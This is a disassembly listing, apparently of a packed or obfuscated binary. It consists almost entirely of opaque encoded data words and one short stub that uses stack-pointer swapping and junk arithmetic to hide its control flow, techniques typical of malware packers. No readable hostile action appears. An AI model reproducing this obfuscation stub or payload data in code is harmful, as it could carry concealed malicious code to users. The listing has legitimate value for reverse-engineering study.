		dd 0FE01CCEDh, 0AA95E64Fh, 703B8CF5h, 4BAC0D9Bh, 6230AB60h
		dd 0F6E2FD0Dh, 1B02473h, 0C3E60000h, 0AA90F152h, 0F3192F3h
		dd 0D6D63798h, 0B27DDE3Fh, 3F4E7CDDh, 16237F8h,	0A40598A0h
		dd 46A77C43h, 0E647C0E5h, 0FCF2258Ah, 0DBF7B2F3h, 4BA0EF34h
		dd 8E18D618h, 2061EFF1h, 4AC20EC5h, 7DE2701Fh, 1B7CDDB2h
		dd 31FACB0Ah, 73A60FAEh, 0F18EAB7Bh, 95FEAD5Ch,	5922D74h
		dd 2FBD6EFBh, 74B17DCEh, 237EB11Ah, 0B4FBAF37h,	0A74B8205h
		dd 9F7AD37h, 630C4867h,	0E2A10246h, 0CBh, 8281A48Dh, 31147C08h
		dd 2156F578h, 0EA99AE9Fh, 74291267h, 667798F1h,	80449C69h
		dd 57995588h, 8F3EF18Eh, 1A0B52E0h, 81F18E5Ch, 1D82E3A4h
		dd 0FCFD3FCh, 16A4E4C8h, 901394B1h, 3FAFE237h, 90F18EA7h
		dd 2AFB53E1h, 9DC0F35Ch, 32FBAF9Ah, 57CE2283h, 781732B1h
		dd 88BD0603h, 959E384Ah, 87F09FECh, 0CD19F254h,	4A70D501h
		dd 0F108E619h, 18C7F1CCh, 51BA69h, 0A8096A3Fh, 0C7971287h
		dd 67E2FD21h, 0A895E4h,	0DBDE0000h, 0A288E94Ah,	7298AEBh
		dd 0EECE2F90h, 4A75D637h, 274674D5h, 0F95ACFF0h, 9CFD9098h
		dd 3E9F743Bh, 0DE3FC8DDh, 4EA1D82h, 0D3F7B2F5h,	9BA4E72Ch
		dd 18D5194Ch, 4BFAF18Eh, 0CBDA3B9Ch, 0A490E142h, 30850881h
		dd 0DF339415h, 3EA99246h, 4AF9A87Dh, 4B2AAEE1h,	0F64BFBA9h
		dd 0B2EB2BC3h, 6FFDACF7h, 44DBDF44h, 50461A0Fh,	0A04F6C61h
		dd 2CFDC81Dh, 0D25B6ACBh, 214E184Fh, 4BFDABC5h,	55D6EF2Ch
		dd 0F9B293F4h, 8A1D2176h, 0E807B907h, 0A8119AABh, 31BF5457h
		dd 0D5566FD0h, 9DA8F952h, 31F7E0Ch, 0CA000000h,	9DA4095Eh
		dd 192C8104h, 0F3B80D90h, 62469B1Eh, 0E8D328ABh, 505BB033h
		dd 0DBE338BBh, 426CC144h, 0CDF348CBh, 688ED75Ah, 2E59h
		dd 53242C89h, 0C381E389h, 4, 8704EB83h,	895C241Ch
		db 1Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	eax
		push	ecx
		mov	ecx, 7645078Ch
		mov	eax, ecx
		pop	ecx
		sub	eax, 70203407h
		mov	ebx, eax
		pop	eax
		push	esp
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		sub	dword ptr [esp], 1DED2DA3h
		pop	dword ptr [edx+8]
		add	dword ptr [edx+8], 1DED2DA3h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5426C5
; ---------------------------------------------------------------------------
		db 7Dh,	0Ch, 0EDh
		dd 0CE3219B1h, 93B8F385h, 30624DEh, 0AEE0FFC5h,	0C402E7F0h
		dd 0AC1F9B47h, 884E82A9h, 82134235h, 680E1A53h,	9C122C17h
		dd 16789EEDh, 6674839Bh, 493129DDh, 846789E2h, 2E1ABAF0h
		dd 0A455AB6Bh, 596F86A7h, 4074FEFCh, 0D3554E4h,	0C746DFF4h
		dd 7A340587h, 60586C54h, 1303FE07h, 0D05BC4Ah, 0E834149Fh
		dd 0C03D7DA8h, 941C7F31h, 5D00D8EDh, 1240BF28h,	0F61D2722h
		dd 351E6FD9h, 4C63EE6Eh, 4C7CC6F4h, 0E81E27D1h,	0Ah, 0B6DCAF45h
		dd 0C9A0FF60h, 0F606FDFh, 880FDBB7h, 5,	2B1DF4B9h, 81586160h
		dd 684AC0h, 0BDB96600h,	68ACh, 81660000h, 5FEF41C1h, 381C8BF9h
		dd 0BA666051h, 5F537A40h, 0EB815961h, 16F580CCh, 0DE8h
		dd 7C89D700h, 4B86572Dh, 7E4880DDh, 8A0F6742h, 2, 815AD78Bh
		dd 0F7273AF3h, 9E52BA17h, 0F38127CAh, 236407A0h, 0EE9h
		dd 7478B400h, 919A601h,	2CB54C2Ch, 53E77058h, 5880Fh, 81660000h
		dd 8F9E90E1h, 0F603804h, 0B961C8B7h, 1901F1F2h,	8001EF83h
		dd 4F4F4EDAh, 64FF814Fh, 0FFFFF98h, 0FFFF8085h,	8D8DF9FFh
		dd 624E118h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	89C35040h, 0B5D8D89h, 6A061Fh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 3714EC3h
		dd 1F09C995h, 0C585C706h, 0EC061F20h, 6A00006Ch, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 89B5C357h, 1F090995h, 7D85C706h, 61F13h, 89000000h
		dd 1F030595h, 41B5FF06h, 6A061F0Fh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0A882C352h
		dd 5995FFF7h, 8B061F2Dh, 1F0EBD95h, 0FF006A06h,	1F1D4595h
		dd 0EBC08B06h, 62B9635Ah, 4A094F7Bh, 0EB1710C5h, 0A8AF51FEh
		dd 5C00DAFAh, 0FD29EA7h, 46ED8BEEh, 7D1FED9Ah, 0F8677EE7h
		dd 79A88463h, 4BCF4F11h, 9863EC14h, 0DE89B9C8h,	0AD1DE0BBh
		dd 462F880h, 6C29CA1Fh,	0B537F654h, 70EC3325h, 2FF0AE0Bh
		dd 0EF489720h, 0D055C73Eh, 905D7291h, 0E9F0BBCEh, 0ABh
		dd 3F2E8D50h, 5F72B11Ch, 0A7ACABDAh, 4592B395h,	0B395A1F4h
		dd 0ECABDA00h, 915D20A7h, 0B1F46BB2h, 20752096h, 6BB79B55h
		dd 92A5BCF2h, 7594A196h, 0B799603Ah, 99BD329Fh,	9CB2E9B5h
		dd 0A3F292A5h, 0EF7695ACh, 4E0097B1h, 9FA5B4F9h, 7B6B5C00h
		dd 8A924AF0h, 0F352D000h, 0F653F545h, 0D6D979A3h, 0E3AFF144h
		dd 7D41F445h, 92B000D7h, 756BBF97h, 0BFCF60FDh,	93BCF996h
		dd 207D20B2h, 0ABF79B57h, 9EBD9492h, 9DBCE3B2h,	899BE0CEh
		dd 8F9D728Fh, 0B4EEA9FDh, 0E1B6F66Dh, 0ED7293BCh, 0E80097B3h
		dd 94E7A601h, 3383323Dh, 0E931072Fh, 1298h, 24E43468h
		dd 9B4CE906h, 3E68FFFAh, 0E90624E5h, 0FFFA9B42h, 24E64268h
		dd 9B38E906h, 0A768FFFAh, 0E90624E7h, 0FFFA9B2Eh, 24E83768h
		dd 9B24E906h, 568FFFAh,	0E90624E9h, 0FFFA9B1Ah,	24E99968h
		dd 9B10E906h, 2D68FFFAh, 0E90624EAh, 0FFFA9B06h, 24EACF68h
		dd 9AFCE906h, 3868FFFAh, 0E90624ECh, 0FFFA9AF2h, 24ED0468h
		dd 9AE8E906h, 2468FFFAh, 0E90624EEh, 0FFFA9ADEh, 24EF8368h
		dd 9AD4E906h, 6668FFFAh, 0E90624F1h, 0FFFA9ACAh, 24F25F68h
		dd 9AC0E906h, 2983FFFAh, 89D61D8h, 0EEBC80F7h, 0D1D89C13h
		dd 0B3F3B72Eh, 0D18BD74Eh, 0B027DACCh, 0D148C7ECh, 0EF669B0Dh
		dd 0C837C2Bh, 461ECA43h, 0D919AEBFh, 62452EA1h,	46EA1791h
		dd 58A700B4h, 0D8BD7AE1h, 0A99EB35Fh, 772B15F0h, 33DF68E5h
		dd 25F2A85Bh, 56BDB8EEh, 677A053Dh, 2F039FC3h, 9525F368h
		dd 790C816h, 67FAD27Eh,	0D98D25F3h, 0F367653Dh,	2044F825h
		dd 7482CF8Ah, 6B3EFE09h, 76D77094h, 64000000h, 42EABC7Ch
		dd 0D3A1BE96h, 0F99D511Fh, 0A1FCD480h, 0DB8F1FD3h, 0BED364B7h
		dd 80F49945h, 2B6115F0h, 2253D097h, 558EB26Ah, 4BEF1095h
		dd 574519B9h, 4D5925F3h, 376E22B4h, 668D18C8h, 872FC140h
		dd 169D51E3h, 0E0FE79F9h, 3C72EF4Dh, 6B4BFCAFh,	0CA456987h
		dd 0FBBB4414h, 0E0B854ADh, 7325F2DAh, 0C29A46BFh, 5525F2DAh
		dd 92E77DA1h, 3B09747Bh, 0C5h, 0FB467CC8h, 58457FE0h, 49B6F3A3h
		dd 3BEB0FB7h, 4D01936Ch, 6216A859h, 7428BA45h, 0A555CC33h
		dd 1FD34DD8h, 0BF36C9DEh, 0CA357232h, 4EB1F6A6h, 0BFD265BCh
		dd 0ADFDBD46h, 0A11AC254h, 0D34E1DF5h, 0D8FCB01Fh, 0F05DC33Ch
		dd 2DA45815h, 936B17A0h, 2625F25Ch, 3CFB4E72h, 0FC34E059h
		dd 8F1C13CCh, 4A262DBh,	0E4C484FDh, 0BFE38B1Dh,	0DF228448h
		dd 66E76F78h, 3554EAFAh, 0FE1h,	0EF669B11h, 0E857A2Bh
		dd 2AA1604Ah, 45BC4366h, 65DC2581h, 50565F19h, 3D763AB1h
		dd 11975BD2h, 0F2B579F0h, 54CD960Dh, 0AEBDD0A8h, 0B82B6319h
		dd 0F69D467Ch, 36FB2459h, 1FDE6F1Ah, 0D5F99D16h, 9808125h
		dd 269D6245h, 2B95A2AFh, 0D3A1A77Fh, 0E2863A1Fh, 8118BD69h
		dd 4F8515F0h, 0DB83CB2h, 99664339h, 97BB5F07h, 9B18AA5Eh
		dd 0A436CBDBh, 683CD8FCh, 0CE25F320h, 0EDAC8F4Fh, 9743Dh
		dd 0D5h, 6A42EE77h, 0FD25F32Ch,	7CC22549h, 8315ECBCh, 0A007B7DBh
		dd 0C750CD5Fh, 1DE49D91h, 20BC4EB8h, 1FD35348h,	530327DBh
		dd 7C1CAE53h, 1FD357AFh, 960DF2B5h, 0A955D5D2h,	1FD357D1h
		dd 0FB06A464h, 791DC169h, 0E2A790E7h, 2FFA969h,	40B965DEh
		dd 0D515F068h, 0E71DAA21h, 0AC83C2F7h, 0D5284C66h, 79862362h
		dd 13D35CD5h, 0AB476B94h, 1C13C948h, 8C841F5h, 28EC639Eh
		dd 191C837Eh, 84FA66E8h, 0ED7CFEEh, 0A5070000h,	8421E55Ch
		dd 6A40047Bh, 4D5C2097h, 2F773BB2h, 550F5BD2h, 34AB5650h
		dd 55CC4370h, 73EA1791h, 9007F8AFh, 0CAA24EC7h,	5D19AEBCh
		dd 6145B225h, 8EF127A0h, 0CDF3CC3Eh, 9256CDF1h,	0E673EA15h
		dd 0B0D9B15Dh, 0AC6C1FD2h, 3F6307FAh, 9D6245DCh, 0AA588E0Bh
		dd 77B0AEF7h, 0AC2B2C34h, 0AA4EC20Ch, 0A16AD184h, 799DE09Fh
		dd 0AA21DEC9h, 0AB3DC4E6h, 0D84FB0F7h, 9E99BBBAh, 0A83AC7DFh
		dd 0EDA77F2Bh, 863A1FD2h, 19C53EE2h, 15EFCD60h,	0EAE41F5h
		dd 0D7BFE39h, 16EDC686h, 36DE708Fh, 1C1B6E92h, 7540079h
		dd 8413992Ah, 50E73ED0h, 0B518C43Dh, 2219BDA2h,	0E215ED99h
		dd 0F4A829BDh, 0DCD797D0h, 360EBA33h, 0C929BDE1h, 38F87115h
		dd 22B90E6Fh, 466663Dh,	118119F1h, 9337DB3Ah, 1B5B911Ah
		dd 0AD411724h, 0B4E3BB57h, 0C27629BDh, 0D7699812h, 0D0940B2Fh
		dd 6AC128D7h, 1FFFCC9Fh, 0DD36A89h, 0A9030000h,	881DE158h
		dd 6E3C0077h, 51581C93h, 337337AEh, 510B57CEh, 30A75A4Ch
		dd 51C8476Ch, 6FE61B8Dh, 8C03FCABh, 0C69E4AC3h,	5919AEBBh
		dd 6245AE21h, 83B40B9Dh, 0C658A702h, 78017A1Eh,	82BDF642h
		dd 1E4285B4h, 0F076F582h, 47BE7215h, 842657E0h,	0B460D97Dh
		dd 1C0F810Fh, 0D67608BCh, 2C118102h, 4F648F16h,	0E2862EC0h
		dd 0F6099C50h, 7965E064h, 19D956B4h, 2EE2748Dh,	0BFE3877Ah
		dd 0D8A19A44h, 1503569Dh, 1DAF5055h, 60A4F75h, 0E43CE610h
		dd 5127C0h, 0A2B40000h,	0C7870095h, 0E89022DFh,	5B9F4BC4h
		dd 615F0F0h, 8F19D952h,	6F39F972h, 4DDF2286h, 0C76F01A5h
		dd 0DB6D9217h, 0E8980F33h, 25F2F016h, 2F767D2Ah, 0F1B52CD0h
		dd 976A3EB7h, 27B95D05h, 0CF808h
		dd 46F27B00h, 25F2EF6Eh, 0ABE41B8Ah, 0A270D3F7h, 0DB870095h
		dd 15F64430h, 0C080F9ADh, 8D9D0CE7h, 0F88409E1h, 44E89C25h
		dd 426529A0h, 63D42BBDh, 7E61C2ACh, 57FBA3FDh, 41F55DEh
		dd 56EAA286h, 0F848E408h, 7B1C1ADBh, 198E4EC7h,	0ACE26FE6h
		dd 1BA96B29h, 96CA9FE4h, 3F04BD70h, 0E0C7779Bh,	1368D1Fh
		dd 0DE8A138Ch, 2C1D1A06h, 8C641099h, 1F2C1D19h,	2AA3C76Bh
		dd 39F8C97Eh, 3BA25622h, 0E44E1BD6h, 6EDAF98Fh,	9E00000Ch
		dd 0B87CF30Eh, 0D79B12EDh, 0F3B72ED3h, 0ED249B6h, 0A6F26998h
		dd 44BDE9ECh, 65AA09CDh, 837E2AEEh, 0A05F480Ch,	3BE76029h
		dd 19AEBA63h, 594BBEF6h, 1FD3A185h, 0D34C41F6h,	115B144Ah
		dd 3039F7D7h, 0D328AC84h, 0E78B3F1Fh, 0CACF27C3h, 0AE6215F5h
		dd 0CD327535h, 0DE159256h, 0FDA537CAh, 8A20E059h, 0A1EF6A2h
		dd 0FDB125F8h, 9E4AC759h, 25F809C6h, 0DD01A559h, 4E43F44Bh
		dd 139C29D5h, 59191C15h, 0A50CB051h, 0FA65FC72h, 0DE3A59EFh
		dd 0E00000Bh, 28EC639Eh, 470B827Dh, 63279E63h, 7E42B946h
		dd 1662D928h, 0B44D595Ch, 0D53A793Dh, 0F30E9A5Eh, 10EFB87Ch
		dd 0AB57D099h, 19AEB9D3h, 45BB2E66h, 570B9D62h,	691DAF50h
		dd 7D31C33Ch, 22DDCC29h, 0B244E890h, 33FAE473h,	0D8637B06h
		dd 0F094B881h, 6392Ch, 95A2B900h, 76DB8700h, 2315F644h
		dd 8416EE9Ah, 0AABC25F8h, 0DC37466Ch, 32580C45h, 0E40E6C42h
		dd 0C53EE21Ch, 41B8903Ch, 974B25F8h, 0B171FA73h, 0D1790BF4h
		dd 577B8421h, 88FF00A7h, 0E656C5FBh, 0CE3F9124h, 0F7A24A22h
		dd 8529DD25h, 9C2ED3D5h, 8720D0F4h, 7246E678h, 0E325F7A2h
		dd 0F595BF54h, 5D165F51h, 79440B9h, 841C1544h, 2CAC69D0h
		dd 13A9FA65h, 0B10F4h, 956C4000h, 0B44B5A1Eh, 0D031793Dh
		dd 0EB149559h, 0BF6B074h, 878E4894h, 0A76BE21Fh, 0C88C030Ch
		dd 0E6AA21E0h, 0FEC73EC1h, 0B901D985h, 5C9419AEh, 9D6245E9h
		dd 0AF50570Bh, 7D61EC1Dh, 94B8FBBEh, 57C12F0h, 0C9890000h
		dd 99FC20E1h, 0D3A18559h, 0A310D01Fh, 8232DA6Ch, 63B6DA25h
		dd 9C48C1D4h, 15F64477h, 37F77024h, 0F26B8F70h,	138A7532h
		dd 7951FD86h, 0C25F883h, 23843458h, 44F34ADCh, 9F2CD851h
		dd 1C1C158Dh, 66320168h, 0A137FA65h, 0A7C82h, 100AC00h
		dd 20DFC68Ah, 3CC5E5A9h, 57A801C5h, 778A1CE0h, 0F3FAB400h
		dd 13D74EB3h, 34F86FA0h, 52168D74h, 6A33AA55h, 0B86D45F1h
		dd 0C80019AEh, 47F37C55h, 1FD3A16Fh, 7A2A4E02h,	8C40D22Dh
		dd 2152E41Bh, 0A6F34896h, 47F094B8h, 4DEh, 0F42188BEh
		dd 0E39C2459h, 0D3C55F37h, 9A3EF21Fh, 1C40BFEAh, 95A2B9h
		dd 43E5DB87h, 0C47815F6h, 0E31C8B4Bh, 0FFA86Ch,	83FACE6Eh
		dd 0CC6B25F8h, 17A450C9h, 941C158Eh, 66A079E0h,	0FA5FA65h
		dd 9E8F0h, 6D941800h, 8C7332F6h, 0A8595115h, 0C33C6D31h
		dd 0E31E884Ch, 5F66206Ch, 7F43BA47h, 0A064DB34h, 0BE82F908h
		dd 0D69F16E9h, 0B7D9B15Dh, 346C19AEh, 9D6245C1h, 0AF50570Bh
		dd 2901AD36h, 0BC1FD3A2h, 2152E408h, 0A6F34896h, 47F094B8h
		dd 44Ah, 0A18059D4h, 3CFB1FD3h,	1BE6C484h, 6D45E189h, 1FD3A1h
		dd 832FA84Ch, 15F64470h, 10D049FDh, 0B9EF6897h,	0BF8775F3h
		dd 0A2193D86h, 0A436C9DEh, 2EA7EA4Dh, 14D35D82h, 5C4A0A1Ch
		dd 0A51D0923h, 4A8C194h, 0BF26CA72h, 0FA65B764h, 462C4BE1h
		dd 76000009h, 9054CB36h, 0AF73EA15h, 0CB8F06FBh, 0E6AA21DEh
		dd 7ECA41C0h, 1CE5C1C4h, 3DD2E1A5h, 5BA602C6h, 788720E4h
		dd 13BF3801h, 19AEB73Bh, 7C2396CEh, 0E0E61446h,	0CAEE1FCCh
		dd 0F9728D1Ah, 82ECC470h, 0CE921FD3h, 0A994AFFh, 42ADE17h
		dd 0F7BA3ABEh, 3FD1F53Dh, 51E31C8Bh, 958C52CDh,	0CC76ED12h
		dd 0F094BD8Dh, 0D9288040h, 1411CB5h, 45A90000h,	570B9D62h
		dd 0AB38AF50h, 0C6D4B475h, 193D323Fh, 961071C6h, 16BA475Fh
		dd 0B070F972h, 4AE60AF5h, 15EFAF35h, 0B58D39C2h, 4825F1AEh
		dd 0B777F094h, 0D57D0FF0h, 0AB7F1FB1h, 1125F1AEh, 0AAEF4C92h
		dd 4309754Bh, 20h, 95A2D0h, 8136DB87h, 2FE315F0h, 0C229FD9Dh
		dd 108F25F2h, 5C2C6DCEh, 0CAC10974h, 4E000000h,	0B9D6245h
		dd 20B24F57h, 32C43B6Ch, 5501297Eh, 1FD3A17Dh, 3DB8710h
		dd 961FD3A2h, 219A3EE2h, 5C01AEBh, 0D3228159h, 3A60141Fh
		dd 0A8CCB5AEh, 83A48131h, 0DDCA1FD3h, 0F344AB22h, 9479259Eh
		dd 4115F530h, 62116E0Bh, 842CBE51h, 848C665Eh, 0FFA767E0h
		dd 33A9812Dh, 883C25F5h, 0FAAA52E4h, 1BC355ACh,	0E8BE7EF7h
		dd 0D3E0A019h, 14A1183Ch, 1BAD5454h, 79F4F73h, 0BD426525h
		dd 0F5334921h, 8428DC25h, 71C881Dh, 809F35F0h, 7DDh, 0EB629F0Dh
		dd 0A817E27h, 269D6446h, 41B84762h, 61D8297Dh, 54525B15h
		dd 417236ADh, 159357CEh, 0F6B175ECh, 50C99209h,	0AEB5CCA4h
		dd 0B4275F19h, 29A06145h, 46BD4265h, 9D6245CFh,	0AF50570Bh
		dd 2480938h, 0A2920000h, 0DB870095h, 15F08E7Eh,	0EE6921Bh
		dd 6125F2CEh, 0F2CDDDB5h, 83BC7025h, 0F9992BCFh, 25F2CE25h
		dd 5A4E0E8Bh, 496D15A7h, 6E2B10CEh, 7F097468h, 1F5h, 0EDBC7C0Ch
		dd 0B4D88012h, 0D3A14118h, 0A7BBC1Fh, 44BD61A0h, 0F6447B98h
		dd 0EB641815h, 0C837C2Bh, 0EA05F48h, 940D80B7h,	0FED6820Bh
		dd 1A25F883h, 883C758Ch, 838B630Fh, 6A1E25F8h, 8D85AA46h
		dd 7E321C15h, 6567A017h, 708F25FAh, 711h, 1F966B41h, 3EB54A5Bh
		dd 5AD1307Ah, 75EC1396h, 950CF5B1h, 20868F49h, 0DA66AE1h
		dd 0E1C78B02h, 0C2E5A920h, 84FDC63Dh, 0AEB500D8h, 0E85B9319h
		dd 4373467Ch, 7C567C07h, 0FFA858h, 12EDBA6Eh, 8C641099h
		dd 1F1FD38Ah, 31B5476Bh, 0AEF928B6h, 6930DA51h,	84F094ABh
		dd 149h, 956A3BFBh, 62450E71h, 50570B9Dh, 66D138AFh, 0E9FEAA23h
		dd 7615F0A9h, 0F3B330C2h, 15BD4FC0h, 0A918F09Ch, 0F7AB25F2h
		dd 0A86337D3h, 4AC925F2h, 41D2A794h, 20FB0974h,	88000000h
		dd 870095A2h, 0F08136DBh, 9D2FE315h, 0F2C229FDh, 0CE108F25h
		dd 745C2C6Dh, 0CFC109h,	7C4E0000h, 916EE546h, 698D6F8Fh
		dd 7F11EEB9h, 0C851DBCBh, 0D372441Ch, 8723D71Fh, 1FD372AFh
		dd 58EA8E42h, 0EEF9A5DBh, 0F1A27A26h, 81351FD2h, 0FE00FE5Bh
		dd 827D2ADAh, 946B3CF0h, 0D3C06D1Dh, 0E1C61FD3h, 0F740A71Eh
		dd 886D1992h, 3515F540h, 5E480881h, 0DF9F2CA3h,	1A93BD4h
		dd 88792DDDh, 753A021h,	708F25F0h, 5F1h, 0FF768B21h, 1E956A3Bh
		dd 3AB1505Ah, 55CC3376h, 75EC1591h, 40666F29h, 2D864AC1h
		dd 1A76BE2h, 0E2C58900h, 64DDA61Dh, 0AEB3E0B8h,	0C83B7319h
		dd 921E6145h, 0F96B162Dh, 1E54CD71h, 1428FA8Ch,	8600261Ah
		dd 0A1CE220h, 3BFF769Ah, 4557116Ch, 258DA3D3h, 46EE8081h
		dd 4F85FEA2h, 8EA9FAADh, 138AAE1Eh, 9D62459Ch, 1B588E0Bh
		dd 86EA1F42h, 693EEE12h, 6DE71D96h, 42BB091Dh, 77A61D41h
		dd 1Eh,	9D624500h, 0AF50570Bh, 5A84131Dh, 9613E0C7h, 8323D769h
		dd 0BF36DA7Eh, 2C90h, 62451900h, 57E91691h, 0D12E89AFh
		dd 0D773D54Ch, 6424A133h, 847C3D42h, 0F7B1F1FEh, 0F519C153h
		dd 0D31C8459h, 30AE291Fh, 0D249B6F1h, 0F7BC7C5Bh, 6344F418h
		dd 0A1431BC7h, 22D61FD3h, 0A295EC7Eh, 1FCA76EFh, 9C15F644h
		dd 5A3FDE66h, 61054BE7h, 807F28E8h, 9D624509h
		dd 283B40Bh, 0A45B4EA5h, 0A0C66E00h, 5A96AC12h,	43BC6074h
		dd 1B0D4797h, 9D16CA1Ch, 0A436CBDDh, 0D65FD8FCh, 2BC88FA0h
		dd 1F436C05h, 4EC7386Fh, 6DE6198Eh, 1D50E9C1h, 0A4C87C2Ch
		dd 0C13E692Dh, 2A5FD82Fh, 305005B1h, 54DD223Ah,	3C70D0A8h
		dd 9A737632h, 0B8DC4007h, 0C027CB7Fh, 0E44EE9CFh, 920524BAh
		dd 0C2000004h, 0DCA017EAh, 0FBBF36C9h, 17DB52AFh, 32F66D92h
		dd 0CA168D74h, 68990D10h, 89862DF1h, 0A75A4E12h, 0C43B6C30h
		dd 5F0B844Dh, 19AEB287h, 7C6FE21Ah, 8416E9BCh, 9729D8D0h
		dd 77274BEFh, 9656CF30h, 55CCF00Fh, 57E91691h, 0CDA551DAh
		dd 601FD3A1h, 0CFD888ACh, 0DA7E8124h, 0FC05A161h, 0C9EC26Ah
		dd 1EB04F58h, 30C23D6Ah, 6EBF1F9Eh, 0B66B73EEh,	0ED970EF1h
		dd 0F094BCACh, 2941h, 0BC7CCE00h, 0A1F418F7h, 0CE7AF396h
		dd 15F0F08Ah, 48088135h, 7A2AA160h, 25F2EFA8h, 9D14EBBCh
		dd 0A032CFD9h, 3EC81h, 62450A00h, 4F64249Dh, 62862EC0h
		dd 1ECA53D0h, 1FD3A146h, 510125D9h, 0CB32A956h,	27B0296Ch
		dd 0D3A1A37Bh, 2F76361Fh, 8F082CD0h, 0F0A9CEE3h, 15A75B15h
		dd 0F2A8A175h, 56880725h, 744194E5h, 4C3909h, 0A2C60000h
		dd 43B2F495h, 650D9F70h, 0E3872FC1h, 8119BE6Ah,	12C615F0h
		dd 34CDD999h, 48B7EEA2h, 466A0EB6h, 0C14014B4h,	535425F2h
		dd 83F01AACh, 6201C76Eh, 22DFC777h, 33CEDC90h, 0BA736BF6h
		dd 3A01DD5Ch, 974857Fh,	1088Eh,	62451B00h, 27EE249Dh, 4E13233Ch
		dd 0EE6BFD21h, 28E76B8h, 8C1E1952h, 0C01D28EBh,	0A7577B1Fh
		dd 0BC7002FFh, 0CE8214EBh, 748B1AD9h, 0DCA959D0h, 191FD2BEh
		dd 8FB34C59h, 0C037C8DFh, 0C254ABFCh, 0DE238545h, 0BDD067BAh
		dd 0D36F9844h, 24E415EFh, 5FD67A85h, 6C3E3FF8h,	345FA613h
		dd 8226C7D4h, 0DEB965DEh, 3B1C135Ah, 0B785BB05h, 37E3C1A0h
		dd 2C13105Fh, 769A3EF2h, 5010893Dh, 49A0D656h, 0F719F105h
		dd 0EB6F47E3h, 1A8B2C12h, 72AB53E5h, 690DF4B2h,	0F2164CC5h
		dd 812986DBh, 7034ABCFh, 0D964CB36h, 54FA1977h,	2AF9FBEh
		dd 0CDDF0000h, 0ACF9BD34h, 9218DC53h, 7534F86Fh, 574F138Ah
		dd 2DE733AAh, 0C837E28h, 2DA46B48h, 4BC23F69h, 68DF2087h
		dd 0A27A269Fh, 3519AEB0h, 0BC7C8AFDh, 0DE8618F7h, 659C0ABAh
		dd 827D2AEEh, 0FCD48009h, 8F1FD3A1h, 0B340B7DBh, 0CC72437Dh
		dd 0D36F4820h, 127DB1Fh, 4D71758Bh, 95A2EAh, 8136DB87h
		dd 2FE315F0h, 0C229FD9Dh, 108F25F2h, 0E0CA8ACEh, 1267FD21h
		dd 0BB09745Ch, 0CEh, 9D624548h,	0B24F570Bh, 0A5B38020h
		dd 0EEB91FD3h, 0D1D69A11h, 0F2459C2Eh, 2D8F94CAh, 48E7480Bh
		dd 0D3E9D4ACh, 32DE671Fh, 1FD3E95Ah, 0F19539EDh, 0FEA3CC78h
		dd 641815F0h, 867B2BEBh, 0B384EB62h, 79B965DEh,	0DC1C146Bh
		dd 0E3758C1Ch, 55DE173Bh, 14AAD1A9h, 0CB0642Ch,	22D3D393h
		dd 44EC7E91h, 49ED1494h, 0E7980ED2h, 0E92CAF0Eh, 0E047EBD8h
		dd 0FA67D643h, 0B61130C6h, 0E6000001h, 0C43BC6h, 1FE35AA5h
		dd 3BFF768Bh, 561A916Eh, 0EE3AB150h, 8C753134h,	0AD625115h
		dd 0CB367236h, 0E8179054h, 832FA871h, 19AEAFABh, 7C93063Eh
		dd 8012EDBCh, 0E9C2B2D8h, 0A58EA78Eh, 2CD5D181h, 4FC0F3B3h
		dd 0B7F0B42Bh, 8444D148h, 0A048DA25h, 6245197Ch, 5AEC1591h
		dd 59A802B2h, 386F23B5h, 19C54EC7h, 1FD3A141h, 397020D4h
		dd 672BA2C6h, 0D62DBF40h, 7B32C61h, 15F08B66h, 33C5570Bh
		dd 0B0F72AB4h, 0C671D84Fh, 559E4AC3h, 8A1C0FD2h, 24DBCAh
		dd 0CD8113C7h, 23AC25DAh, 11D19F77h, 5A7E322Ch,	6D9414C8h
		dd 808127DBh, 0F9646EEh, 0AE40CFE4h, 4CD06206h,	1A200DD1h
		dd 0C2B538Bh, 1B641089h, 50222ED8h, 0D6431BC7h,	22D63230h
		dd 9A11C5FEh, 9C2ED1D6h, 0AF41C0E8h, 18409E1Dh,	0D70BE38Fh
		dd 0DE9E3230h, 0A83AD5h, 1F88385Ch, 32DE67E0h, 3230D65Ah
		dd 3ED02F76h, 85A95D96h, 0FD90A70Eh, 0C137D884h, 28DC284Dh
		dd 3AC5E296h, 0B48C38C1h, 0D0385001h, 0EC9426D9h, 49DBFFB3h
		dd 0D8A638B7h, 5B12A5Fh, 2E6CEC64h, 77DE5509h, 1CE5C1C0h
		dd 0A053FF78h, 2D3491CEh, 30CA0079h, 0A5C62C38h, 0D14EE004h
		dd 0DC93C89Bh, 0FEA638D7h, 0D2AAC8D8h, 4AA9FEAEh, 0E610A25Dh
		dd 0E5C9BAADh, 0CF73179Dh, 0EC139458h, 8C1DDD5Ah, 7B2DE173h
		dd 22BEE286h, 0EBB81D00h, 928F4FDEh, 3B71EA15h,	84E31A07h
		dd 9910343Bh, 0FFD7830Ch, 927BB826h, 9D0ABADEh,	5A35256h
		dd 1EC658FCh, 7534E87Ah, 0E766F88Ah, 827D2AF7h,	9F60470Bh
		dd 3EE0Dh, 0A7770000h, 9A674540h, 0AC535408h, 0BF42661Ah
		dd 0D53A792Dh, 0EA178F43h, 0FF02A458h, 0FF0B96Dh, 20E1C97Dh
		dd 34CBDA8Eh, 296886A2h, 89000026h, 0EC81240Ch,	4, 68240C89h
		dd 136Bh, 52243C89h, 3A0AB951h,	0E9815039h, 6F5677AEh
		dd 16B6C181h, 0F1810E3Ch, 0C2875D4h, 5AE8E981h,	0C1817752h
		dd 352F2232h, 4E45E981h, 0CA894D5Bh, 81424259h,	0C53619CAh
		dd 0E5C28112h, 89B227AAh, 8B545AD1h, 0C483243Ch, 0CA895204h
		dd 8478F52h, 2434FF5Ah,	4C4815Fh, 0FF000000h, 81592434h
